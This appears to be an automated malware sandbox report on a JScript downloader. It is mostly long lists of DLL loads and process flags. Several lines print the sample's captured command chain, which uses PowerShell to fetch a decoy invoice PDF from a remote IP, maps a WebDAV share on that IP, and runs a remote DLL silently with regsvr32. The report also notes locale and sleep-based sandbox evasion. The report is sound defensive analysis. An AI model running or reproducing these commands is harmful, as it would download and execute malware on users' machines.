Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4791.js.csv");ITextStream.WriteLine(" entry:7908 f:kcyik");ITextStream.WriteLine(" exec:2 f:kcyik");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3291			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6492			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep count: 3291 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3468	Thread sleep count: 6492 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7164	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7376	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPp
Source: svchost.exe, 00000008.00000002.3010707896.0000022096C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000006.00000003.1798436859.0000021135FC2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3012045921.000002209C25A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll	Jump to behavior
